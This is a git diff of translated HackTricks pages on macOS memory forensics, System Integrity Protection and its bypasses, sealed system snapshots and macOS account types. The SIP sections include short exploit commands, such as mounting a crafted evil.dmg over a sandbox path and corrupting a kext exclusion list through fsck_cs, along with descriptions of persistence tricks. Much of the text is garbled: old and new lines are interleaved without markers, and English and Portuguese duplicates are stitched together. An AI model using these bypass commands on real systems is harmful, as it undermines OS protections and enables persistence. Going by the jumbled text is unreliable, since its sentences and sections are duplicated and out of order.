Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
## Memory Artifacts
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
### Swap Files
O principal objetivo do WhiteIntel é combater invasões de contas e ataques de ransomware resultantes de malwares de roubo de informações.
Os arquivos de troca, como `/private/var/vm/swapfile0`, servem como **caches quando a memória física está cheia**. Quando não há mais espaço na memória física, seus dados são transferidos para um arquivo de troca e, em seguida, trazidos de volta para a memória física conforme necessário. Vários arquivos de troca podem estar presentes, com nomes como swapfile0, swapfile1 e assim por diante.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
### Hibernate Image
{% embed url="https://whiteintel.io" %}
O arquivo localizado em `/private/var/vm/sleepimage` é crucial durante o **modo de hibernação**. **Os dados da memória são armazenados neste arquivo quando o OS X hiberna**. Ao acordar o computador, o sistema recupera os dados da memória deste arquivo, permitindo que o usuário continue de onde parou.
***
Vale ressaltar que em sistemas MacOS modernos, este arquivo é tipicamente criptografado por razões de segurança, dificultando a recuperação.
## Artefatos de Memória
* Para verificar se a criptografia está habilitada para o sleepimage, o comando `sysctl vm.swapusage` pode ser executado. Isso mostrará se o arquivo está criptografado.
### Arquivos de Troca
### Memory Pressure Logs
Arquivos de troca, como `/private/var/vm/swapfile0`, servem como **caches quando a memória física está cheia**. Quando não há mais espaço na memória física, seus dados são transferidos para um arquivo de troca e depois trazidos de volta para a memória física conforme necessário. Vários arquivos de troca podem estar presentes, com nomes como swapfile0, swapfile1, e assim por diante.
Outro arquivo importante relacionado à memória nos sistemas MacOS é o **log de pressão de memória**. Esses logs estão localizados em `/var/log` e contêm informações detalhadas sobre o uso da memória do sistema e eventos de pressão. Eles podem ser particularmente úteis para diagnosticar problemas relacionados à memória ou entender como o sistema gerencia a memória ao longo do tempo.
### Imagem de Hibernação
## Dumping memory with osxpmem
O arquivo localizado em `/private/var/vm/sleepimage` é crucial durante o **modo de hibernação**. **Dados da memória são armazenados neste arquivo quando o macOS hiberna**. Ao acordar o computador, o sistema recupera os dados da memória deste arquivo, permitindo que o usuário continue de onde parou.
Para despejar a memória em uma máquina MacOS, você pode usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
Vale ressaltar que em sistemas MacOS modernos, este arquivo é tipicamente criptografado por motivos de segurança, tornando a recuperação difícil.
* Para verificar se a criptografia está ativada para o sleepimage, o comando `sysctl vm.swapusage` pode ser executado. Isso mostrará se o arquivo está criptografado.
### Logs de Pressão de Memória
Outro arquivo importante relacionado à memória em sistemas MacOS é o **log de pressão de memória**. Esses logs estão localizados em `/var/log` e contêm informações detalhadas sobre o uso de memória do sistema e eventos de pressão. Eles podem ser particularmente úteis para diagnosticar problemas relacionados à memória ou entender como o sistema gerencia a memória ao longo do tempo.
## Dumping de memória com osxpmem
Para fazer o dumping de memória em uma máquina MacOS, você pode usar [**osxpmem**](https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-2.1.post4.zip).
**Nota**: As instruções a seguir funcionarão apenas para Macs com arquitetura Intel. Esta ferramenta está arquivada e a última versão foi em 2017. O binário baixado usando as instruções abaixo tem como alvo chips Intel, pois o Apple Silicon não existia em 2017. Pode ser possível compilar o binário para a arquitetura arm64, mas você terá que tentar por conta própria.
**Nota**: As instruções a seguir funcionarão apenas para Macs com arquitetura Intel. Esta ferramenta agora está arquivada e o último lançamento foi em 2017. O binário baixado usando as instruções abaixo é direcionado a chips Intel, pois o Apple Silicon não existia em 2017. Pode ser possível compilar o binário para a arquitetura arm64, mas você terá que tentar por conta própria.
```bash
#Dump raw format
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
@ -59,16 +46,16 @@ sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
#Dump aff4 format
sudo osxpmem.app/osxpmem -o /tmp/dump_mem.aff4
```
Se encontrar este erro: `osxpmem.app/MacPmem.kext falhou ao carregar - (libkern/kext) falha de autenticação (propriedade/ permissões de arquivo); verifique os logs do sistema/kernel para erros ou tente kextutil(8)` Você pode corrigi-lo fazendo:
Se você encontrar este erro: `osxpmem.app/MacPmem.kext failed to load - (libkern/kext) authentication failure (file ownership/permissions); check the system/kernel logs for errors or try kextutil(8)` Você pode corrigir isso fazendo:
```bash
sudo cp -r osxpmem.app/MacPmem.kext "/tmp/"
sudo kextutil "/tmp/MacPmem.kext"
#Allow the kext in "Security & Privacy --> General"
sudo osxpmem.app/osxpmem --format raw -o /tmp/dump_mem
```
**Outros erros** podem ser corrigidos permitindo o carregamento do kext em "Segurança e Privacidade --> Geral", apenas **permita**.
**Outros erros** podem ser corrigidos **permitindo o carregamento do kext** em "Segurança e Privacidade --> Geral", apenas **permita**.
Você também pode usar este **oneliner** para baixar o aplicativo, carregar o kext e fazer dump da memória:
Você também pode usar esta **linha única** para baixar o aplicativo, carregar o kext e despejar a memória:
{% code overflow="wrap" %}
```bash
@ -77,17 +64,6 @@ cd /tmp; wget https://github.com/google/rekall/releases/download/v1.5.1/osxpmem-
```
{% endcode %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares stealers**.
O principal objetivo do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares que roubam informações.
Você pode acessar o site deles e experimentar o mecanismo gratuitamente em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -95,11 +71,11 @@ Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data
<details>
<summary>Suporte ao HackTricks</summary>
<summary>Supporte o HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
</details>
{% endhint %}

View file

@ -15,19 +15,6 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
***
## **Informações Básicas**
@ -38,7 +25,7 @@ Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** e
* **/sbin**
* **/usr**
As regras que governam o comportamento do SIP são definidas no arquivo de configuração localizado em **`/System/Library/Sandbox/rootless.conf`**. Dentro deste arquivo, os caminhos que são precedidos por um asterisco (\*) são denotados como exceções às restrições rigorosas do SIP.
As regras que governam o comportamento do SIP são definidas no arquivo de configuração localizado em **`/System/Library/Sandbox/rootless.conf`**. Dentro deste arquivo, os caminhos que são precedidos por um asterisco (\*) são denotados como exceções às restrições rigorosas do SIP.
Considere o exemplo abaixo:
```javascript
@ -68,7 +55,7 @@ Além disso, se um arquivo contém o atributo **`com.apple.rootless`** como **at
**O SIP também limita outras ações de root** como:
* Carregar extensões de kernel não confiáveis
* Obter portas de tarefa para processos assinados pela Apple
* Obter task-ports para processos assinados pela Apple
* Modificar variáveis NVRAM
* Permitir depuração de kernel
@ -113,17 +100,17 @@ Contornar o SIP permite que um atacante:
### Arquivo SIP Inexistente
Uma possível brecha é que se um arquivo for especificado em **`rootless.conf` mas não existir atualmente**, ele pode ser criado. Malware poderia explorar isso para **estabelecer persistência** no sistema. Por exemplo, um programa malicioso poderia criar um arquivo .plist em `/System/Library/LaunchDaemons` se estiver listado em `rootless.conf`, mas não presente.
Uma possível brecha é que se um arquivo for especificado em **`rootless.conf` mas não existir atualmente**, ele pode ser criado. Malware poderia explorar isso para **estabelecer persistência** no sistema. Por exemplo, um programa malicioso poderia criar um arquivo .plist em `/System/Library/LaunchDaemons` se estiver listado em `rootless.conf` mas não presente.
### com.apple.rootless.install.heritable
{% hint style="danger" %}
A concessão **`com.apple.rootless.install.heritable`** permite contornar o SIP
A permissão **`com.apple.rootless.install.heritable`** permite contornar o SIP
{% endhint %}
#### [CVE-2019-8561](https://objective-see.org/blog/blog\_0x42.html) <a href="#cve" id="cve"></a>
Foi descoberto que era possível **trocar o pacote de instalador após o sistema verificar sua assinatura** de código e, em seguida, o sistema instalaria o pacote malicioso em vez do original. Como essas ações eram realizadas por **`system_installd`**, isso permitiria contornar o SIP.
Foi descoberto que era possível **trocar o pacote de instalador após o sistema verificar sua assinatura** de código e então, o sistema instalaria o pacote malicioso em vez do original. Como essas ações eram realizadas por **`system_installd`**, isso permitiria contornar o SIP.
#### [CVE-20209854](https://objective-see.org/blog/blog\_0x4D.html) <a href="#cve-unauthd-chain" id="cve-unauthd-chain"></a>
@ -131,7 +118,7 @@ Se um pacote fosse instalado a partir de uma imagem montada ou unidade externa,
#### CVE-2021-30892 - Shrootless
[**Pesquisadores deste post do blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) descobriram uma vulnerabilidade no mecanismo de Proteção de Integridade do Sistema (SIP) do macOS, chamada de vulnerabilidade 'Shrootless'. Essa vulnerabilidade gira em torno do daemon **`system_installd`**, que possui uma concessão, **`com.apple.rootless.install.heritable`**, que permite que qualquer um de seus processos filhos contorne as restrições do sistema de arquivos do SIP.
[**Pesquisadores deste post do blog**](https://www.microsoft.com/en-us/security/blog/2021/10/28/microsoft-finds-new-macos-vulnerability-shrootless-that-could-bypass-system-integrity-protection/) descobriram uma vulnerabilidade no mecanismo de Proteção de Integridade do Sistema (SIP) do macOS, chamada de vulnerabilidade 'Shrootless'. Essa vulnerabilidade gira em torno do daemon **`system_installd`**, que possui uma permissão, **`com.apple.rootless.install.heritable`**, que permite que qualquer um de seus processos filhos contorne as restrições do sistema de arquivos do SIP.
O daemon **`system_installd`** instalará pacotes que foram assinados pela **Apple**.
@ -141,11 +128,11 @@ Além disso, foi descoberto que **`/etc/zshenv` poderia ser usado como uma técn
#### [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/)
Em [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) foi descoberto que o mesmo processo **`system_installd`** ainda poderia ser abusado porque estava colocando o **script pós-instalação dentro de uma pasta nomeada aleatoriamente protegida pelo SIP dentro de `/tmp`**. O fato é que **`/tmp` em si não é protegido pelo SIP**, então era possível **montar** uma **imagem virtual nele**, então o **instalador** colocaria lá o **script pós-instalação**, **desmontaria** a imagem virtual, **recriaria** todas as **pastas** e **adicionaria** o **script de pós-instalação** com o **payload** a ser executado.
Em [**CVE-2022-22583**](https://perception-point.io/blog/technical-analysis-cve-2022-22583/) foi descoberto que o mesmo processo **`system_installd`** ainda poderia ser abusado porque estava colocando o **script pós-instalação dentro de uma pasta nomeada aleatoriamente protegida pelo SIP dentro de `/tmp`**. O fato é que **`/tmp` em si não é protegido pelo SIP**, então era possível **montar** uma **imagem virtual nela**, então o **instalador** colocaria lá o **script pós-instalação**, **desmontaria** a imagem virtual, **recriaria** todas as **pastas** e **adicionaria** o **script de pós-instalação** com o **payload** a ser executado.
#### [fsck\_cs utility](https://www.theregister.com/2016/03/30/apple\_os\_x\_rootless/)
Uma vulnerabilidade foi identificada onde **`fsck_cs`** foi induzido a corromper um arquivo crucial, devido à sua capacidade de seguir **links simbólicos**. Especificamente, atacantes criaram um link de _`/dev/diskX`_ para o arquivo `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Executar **`fsck_cs`** em _`/dev/diskX`_ levou à corrupção de `Info.plist`. A integridade deste arquivo é vital para o SIP (Proteção de Integridade do Sistema) do sistema operacional, que controla o carregamento de extensões de kernel. Uma vez corrompido, a capacidade do SIP de gerenciar exclusões de kernel é comprometida.
Uma vulnerabilidade foi identificada onde **`fsck_cs`** foi enganado a corromper um arquivo crucial, devido à sua capacidade de seguir **links simbólicos**. Especificamente, atacantes criaram um link de _`/dev/diskX`_ para o arquivo `/System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist`. Executar **`fsck_cs`** em _`/dev/diskX`_ levou à corrupção de `Info.plist`. A integridade deste arquivo é vital para o SIP (Proteção de Integridade do Sistema) do sistema operacional, que controla o carregamento de extensões de kernel. Uma vez corrompido, a capacidade do SIP de gerenciar exclusões de kernel é comprometida.
Os comandos para explorar essa vulnerabilidade são:
```bash
@ -167,7 +154,7 @@ hdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg
```
#### [Bypass do Upgrader (2016)](https://objective-see.org/blog/blog\_0x14.html)
O sistema está configurado para inicializar a partir de uma imagem de disco do instalador incorporada dentro do `Install macOS Sierra.app` para atualizar o SO, utilizando a ferramenta `bless`. O comando utilizado é o seguinte:
O sistema está configurado para inicializar a partir de uma imagem de disco de instalador incorporada dentro do `Install macOS Sierra.app` para atualizar o SO, utilizando a ferramenta `bless`. O comando utilizado é o seguinte:
```bash
/usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config="\macOS Install Data\com.apple.Boot" -label macOS Installer
```
@ -195,7 +182,7 @@ e foi possível criar um symlink em `${SHARED_SUPPORT_PATH}/SharedSupport.dmg` q
A permissão **`com.apple.rootless.install`** permite contornar o SIP
{% endhint %}
A permissão `com.apple.rootless.install` é conhecida por contornar a Proteção de Integridade do Sistema (SIP) no macOS. Isso foi notavelmente mencionado em relação a [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
A permissão `com.apple.rootless.install` é conhecida por contornar a Proteção de Integridade do Sistema (SIP) no macOS. Isso foi notavelmente mencionado em relação ao [**CVE-2022-26712**](https://jhftss.github.io/CVE-2022-26712-The-POC-For-SIP-Bypass-Is-Even-Tweetable/).
Neste caso específico, o serviço XPC do sistema localizado em `/System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc` possui essa permissão. Isso permite que o processo relacionado contorne as restrições do SIP. Além disso, este serviço apresenta notavelmente um método que permite a movimentação de arquivos sem impor quaisquer medidas de segurança.
@ -207,7 +194,7 @@ Aqui está uma visão mais detalhada:
1. **Sistema Imutável**: As Instantâneas do Sistema Seladas tornam o volume do sistema macOS "imutável", o que significa que não pode ser modificado. Isso impede quaisquer alterações não autorizadas ou acidentais no sistema que poderiam comprometer a segurança ou a estabilidade do sistema.
2. **Atualizações de Software do Sistema**: Quando você instala atualizações ou upgrades do macOS, o macOS cria uma nova instantânea do sistema. O volume de inicialização do macOS então usa **APFS (Apple File System)** para alternar para essa nova instantânea. Todo o processo de aplicação de atualizações se torna mais seguro e confiável, pois o sistema pode sempre reverter para a instantânea anterior se algo der errado durante a atualização.
3. **Separação de Dados**: Em conjunto com o conceito de separação de Dados e Volume do Sistema introduzido no macOS Catalina, o recurso de Instantânea do Sistema Selada garante que todos os seus dados e configurações sejam armazenados em um volume separado "**Data**". Essa separação torna seus dados independentes do sistema, o que simplifica o processo de atualizações do sistema e melhora a segurança do sistema.
3. **Separação de Dados**: Em conjunto com o conceito de separação de volume de Dados e Sistema introduzido no macOS Catalina, o recurso de Instantânea do Sistema Selada garante que todos os seus dados e configurações sejam armazenados em um volume separado "**Dados**". Essa separação torna seus dados independentes do sistema, o que simplifica o processo de atualizações do sistema e melhora a segurança do sistema.
Lembre-se de que essas instantâneas são gerenciadas automaticamente pelo macOS e não ocupam espaço adicional no seu disco, graças às capacidades de compartilhamento de espaço do APFS. Também é importante notar que essas instantâneas são diferentes das **instantâneas do Time Machine**, que são backups acessíveis ao usuário de todo o sistema.
@ -217,73 +204,62 @@ O comando **`diskutil apfs list`** lista os **detalhes dos volumes APFS** e seu
<pre><code>+-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13
| ====================================================
| APFS Container Reference: disk3
| Size (Capacity Ceiling): 494384795648 B (494.4 GB)
| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)
| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)
| Referência do Container APFS: disk3
| Tamanho (Capacidade Máxima): 494384795648 B (494.4 GB)
| Capacidade Em Uso Por Volumes: 219214536704 B (219.2 GB) (44.3% usado)
| Capacidade Não Alocada: 275170258944 B (275.2 GB) (55.7% livre)
| |
| +-&#x3C; Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| +-&#x3C; Armazenamento Físico disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE
| | -----------------------------------------------------------
| | APFS Physical Store Disk: disk0s2
| | Size: 494384795648 B (494.4 GB)
| | Disco de Armazenamento Físico APFS: disk0s2
| | Tamanho: 494384795648 B (494.4 GB)
| |
| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7
| | ---------------------------------------------------
<strong>| | APFS Volume Disk (Role): disk3s1 (System)
</strong>| | Name: Macintosh HD (Case-insensitive)
<strong>| | Mount Point: /System/Volumes/Update/mnt1
</strong>| | Capacity Consumed: 12819210240 B (12.8 GB)
| | Sealed: Broken
| | FileVault: Yes (Unlocked)
| | Encrypted: No
<strong>| | Disco de Volume APFS (Função): disk3s1 (Sistema)
</strong>| | Nome: Macintosh HD (Sem distinção entre maiúsculas e minúsculas)
<strong>| | Ponto de Montagem: /System/Volumes/Update/mnt1
</strong>| | Capacidade Consumida: 12819210240 B (12.8 GB)
| | Selado: Quebrado
| | FileVault: Sim (Desbloqueado)
| | Criptografado: Não
| | |
| | Snapshot: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
| | Snapshot Disk: disk3s1s1
<strong>| | Snapshot Mount Point: /
</strong><strong>| | Snapshot Sealed: Yes
| | Instantânea: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61
| | Disco da Instantânea: disk3s1s1
<strong>| | Ponto de Montagem da Instantânea: /
</strong><strong>| | Instantânea Selada: Sim
</strong>[...]
+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327
| ---------------------------------------------------
| APFS Volume Disk (Role): disk3s5 (Data)
| Name: Macintosh HD - Data (Case-insensitive)
<strong> | Mount Point: /System/Volumes/Data
</strong><strong> | Capacity Consumed: 412071784448 B (412.1 GB)
</strong> | Sealed: No
| FileVault: Yes (Unlocked)
| Disco de Volume APFS (Função): disk3s5 (Dados)
| Nome: Macintosh HD - Dados (Sem distinção entre maiúsculas e minúsculas)
<strong> | Ponto de Montagem: /System/Volumes/Data
</strong><strong> | Capacidade Consumida: 412071784448 B (412.1 GB)
</strong> | Selado: Não
| FileVault: Sim (Desbloqueado)
</code></pre>
Na saída anterior, é possível ver que **locais acessíveis ao usuário** estão montados em `/System/Volumes/Data`.
Além disso, a **instantânea do volume do sistema do macOS** está montada em `/` e está **selada** (assinada criptograficamente pelo OS). Portanto, se o SIP for contornado e modificado, o **OS não inicializará mais**.
Além disso, a **instantânea do volume do sistema macOS** está montada em `/` e está **selada** (assinada criptograficamente pelo OS). Portanto, se o SIP for contornado e modificado, o **OS não inicializará mais**.
Também é possível **verificar se o selo está ativado** executando:
Também é possível **verificar se o selo está habilitado** executando:
```bash
csrutil authenticated-root status
Authenticated Root status: enabled
```
Além disso, o disco de snapshot também é montado como **somente leitura**:
Além disso, o disco de instantâneo também é montado como **somente leitura**:
```bash
mount
/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled)
```
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
[**WhiteIntel**](https://whiteintel.io) é um mecanismo de busca alimentado pela **dark-web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares ladrões**.
O principal objetivo do WhiteIntel é combater a tomada de contas e ataques de ransomware resultantes de malware que rouba informações.
Você pode verificar o site deles e experimentar o mecanismo **gratuitamente** em:
{% embed url="https://whiteintel.io" %}
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Support HackTricks</summary>
<summary>Suporte ao HackTricks</summary>
* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**

View file

@ -1,71 +1,56 @@
# Utilizadores macOS
# macOS Users
{% hint style="success" %}
Aprenda e pratique Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Treino AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprenda e pratique Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Treino GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>Apoie o HackTricks</summary>
<summary>Support HackTricks</summary>
* Verifique os [**planos de subscrição**](https://github.com/sponsors/carlospolop)!
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partilhe truques de hacking submetendo PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
### [WhiteIntel](https://whiteintel.io)
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
### Common Users
[**WhiteIntel**](https://whiteintel.io) é um motor de busca alimentado pela **dark web** que oferece funcionalidades **gratuitas** para verificar se uma empresa ou seus clientes foram **comprometidos** por **malwares de roubo**.
O objetivo principal do WhiteIntel é combater a apropriação de contas e ataques de ransomware resultantes de malwares de roubo de informações.
Pode verificar o site deles e experimentar o motor de busca de forma **gratuita** em:
{% embed url="https://whiteintel.io" %}
***
### Utilizadores Comuns
* **Daemon**: Utilizador reservado para daemons do sistema. Os nomes de conta de daemon padrão geralmente começam com um "\_":
* **Daemon**: Usuário reservado para daemons do sistema. Os nomes das contas de daemon padrão geralmente começam com um "\_":
```bash
_amavisd, _analyticsd, _appinstalld, _appleevents, _applepay, _appowner, _appserver, _appstore, _ard, _assetcache, _astris, _atsserver, _avbdeviced, _calendar, _captiveagent, _ces, _clamav, _cmiodalassistants, _coreaudiod, _coremediaiod, _coreml, _ctkd, _cvmsroot, _cvs, _cyrus, _datadetectors, _demod, _devdocs, _devicemgr, _diskimagesiod, _displaypolicyd, _distnote, _dovecot, _dovenull, _dpaudio, _driverkit, _eppc, _findmydevice, _fpsd, _ftp, _fud, _gamecontrollerd, _geod, _hidd, _iconservices, _installassistant, _installcoordinationd, _installer, _jabber, _kadmin_admin, _kadmin_changepw, _knowledgegraphd, _krb_anonymous, _krb_changepw, _krb_kadmin, _krb_kerberos, _krb_krbtgt, _krbfast, _krbtgt, _launchservicesd, _lda, _locationd, _logd, _lp, _mailman, _mbsetupuser, _mcxalr, _mdnsresponder, _mobileasset, _mysql, _nearbyd, _netbios, _netstatistics, _networkd, _nsurlsessiond, _nsurlstoraged, _oahd, _ondemand, _postfix, _postgres, _qtss, _reportmemoryexception, _rmd, _sandbox, _screensaver, _scsd, _securityagent, _softwareupdate, _spotlight, _sshd, _svn, _taskgated, _teamsserver, _timed, _timezone, _tokend, _trustd, _trustevaluationagent, _unknown, _update_sharing, _usbmuxd, _uucp, _warmd, _webauthserver, _windowserver, _www, _wwwproxy, _xserverdocs
```
* **Convidado**: Conta para convidados com permissões muito restritas
{% code overflow="wrap" %}
* **Guest**: Conta para convidados com permissões muito restritas
```bash
state=("automaticTime" "afpGuestAccess" "filesystem" "guestAccount" "smbGuestAccess")
for i in "${state[@]}"; do sysadminctl -"${i}" status; done;
```
{% endcode %}
* **Ninguém**: Processos são executados com este usuário quando são necessárias permissões mínimas
* **Ninguém**: Processos são executados com este usuário quando permissões mínimas são necessárias
* **Root**
### Privilégios de Usuário
### Privilégios do Usuário
* **Usuário Padrão:** O mais básico dos usuários. Este usuário precisa de permissões concedidas por um usuário administrador ao tentar instalar software ou realizar outras tarefas avançadas. Eles não são capazes de fazê-lo por conta própria.
* **Usuário Admin**: Um usuário que opera na maioria das vezes como um usuário padrão, mas também tem permissão para realizar ações de root, como instalar software e outras tarefas administrativas. Todos os usuários pertencentes ao grupo admin têm **acesso ao root via arquivo sudoers**.
* **Root**: Root é um usuário autorizado a realizar quase qualquer ação (existem limitações impostas por proteções como a Proteção da Integridade do Sistema).
* **Usuário Padrão:** O mais básico dos usuários. Este usuário precisa de permissões concedidas por um usuário administrador ao tentar instalar software ou realizar outras tarefas avançadas. Eles não conseguem fazer isso sozinhos.
* **Usuário Administrador**: Um usuário que opera na maior parte do tempo como um usuário padrão, mas também é permitido realizar ações de root, como instalar software e outras tarefas administrativas. Todos os usuários pertencentes ao grupo de administradores têm **acesso ao root via o arquivo sudoers**.
* **Root**: Root é um usuário permitido a realizar quase qualquer ação (existem limitações impostas por proteções como a Proteção de Integridade do Sistema).
